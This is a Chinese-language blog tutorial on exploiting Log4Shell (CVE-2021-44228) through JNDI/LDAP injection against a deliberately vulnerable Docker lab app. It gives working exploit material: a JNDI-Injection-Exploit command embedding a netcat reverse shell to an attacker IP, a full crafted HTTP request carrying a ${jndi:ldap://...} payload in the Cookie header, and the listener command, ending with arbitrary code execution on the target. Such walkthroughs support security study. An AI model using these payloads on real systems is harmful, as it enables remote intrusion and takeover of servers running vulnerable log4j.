JNDI注入

JNDI(Java Naming and Directory Interface )接口為Java應(yīng)用程序提供API,可用于綁定遠(yuǎn)程對象、查詢對象以及檢測同一對象的更改。下面結(jié)合CVE-2021-44228說明怎樣使用JNDI注入,重點(diǎn)關(guān)注LDAP。

通過將JNDI與LDAP結(jié)合,URL ldap://localhost:3XX/o能夠從本地計(jì)算機(jī)上運(yùn)行LDAP服務(wù)器控制檢索遠(yuǎn)程對象并執(zhí)行代碼。

換句話說,攻擊者可以做的是找到一些輸入,譬如${jndi:ldap://attackerserver.com.com/x}

這允許攻擊者從他們控制的LDAP服務(wù)器檢索對象并執(zhí)行代碼。

輸入可以是HTTP包頭,如User-Agent,也可以是表單參數(shù)。

利用CVE-2021-44228

該漏洞允許我們從遠(yuǎn)程或本地計(jì)算機(jī)檢索對象并在存在漏洞的應(yīng)用程序上執(zhí)行任意代碼。

在開始利用前,攻擊者需要控制LDAP服務(wù)器,其中有一個(gè)目標(biāo)文件,包含想要下載和執(zhí)行的代碼。我們可使用JNDI-Injection-Exploit來啟動LDAP服務(wù)器。

https://github.com/welk1n/JNDI-Injection-Exploit/

我們在 EC2 實(shí)例中運(yùn)行它,該實(shí)例將由攻擊者控制。使用netcat (nc) 命令,打開與易受攻擊的應(yīng)用程序的反向 shell 連接。

這是一個(gè)示例命令行:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “nc 54.243.12.192 8083 -e /bin/sh” -A “54.243.12.192”

LDAP 服務(wù)器托管指定的 URL,以便通過反向 shell 命令來使用和檢索惡意代碼。

我們?yōu)檎鎸?shí)場景部署的 Web 應(yīng)用程序使用易受攻擊的 log4j版本,它記錄 User-Agent、Cookie 和 X-Api-Server 的內(nèi)容。

我們使用的網(wǎng)絡(luò)應(yīng)用程序可以在這里下載。

https://github.com/darryk10/log4shell-vulnerable-app

易受攻擊的 Web 服務(wù)器正在端口 8080 上使用 Docker 容器運(yùn)行。通過利用Burp Suite,我們可以通過 LDAP 服務(wù)器上托管的 URL制作請求負(fù)載。讓我們嘗試注入 cookie 屬性,看看是否能夠在易受攻擊的計(jì)算機(jī)上打開反向 shell 。

GET / HTTP/1.1

Host: XXXX:8080

sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"

sec-ch-ua-mobile: ?0

Upgrade-Insecure-Requests: 1

X-Api-Version: aaa

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'

Connection: close

上面是我們發(fā)送的 HTTP 請求,經(jīng)過 Burp Suite 修改。Cookie參數(shù)中添加了log4j攻擊字符串。

在發(fā)送精心設(shè)計(jì)的請求之前,我們需要使用 nc 命令設(shè)置反向 shell 連接以偵聽端口 8083。

nc -lvnp 8083

我們現(xiàn)在可以發(fā)送精心設(shè)計(jì)的請求,看到 LDAP 服務(wù)器收到了來自應(yīng)用程序的調(diào)用,并且 JettyServer提供了包含反向 shell 的 nc 命令的遠(yuǎn)程類。

https://www.eclipse.org/jetty/

我們可以在攻擊機(jī)器上看到我們成功打開了與易受攻擊的應(yīng)用程序的連接。

現(xiàn)在,我們有能力與機(jī)器交互并執(zhí)行任意代碼。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容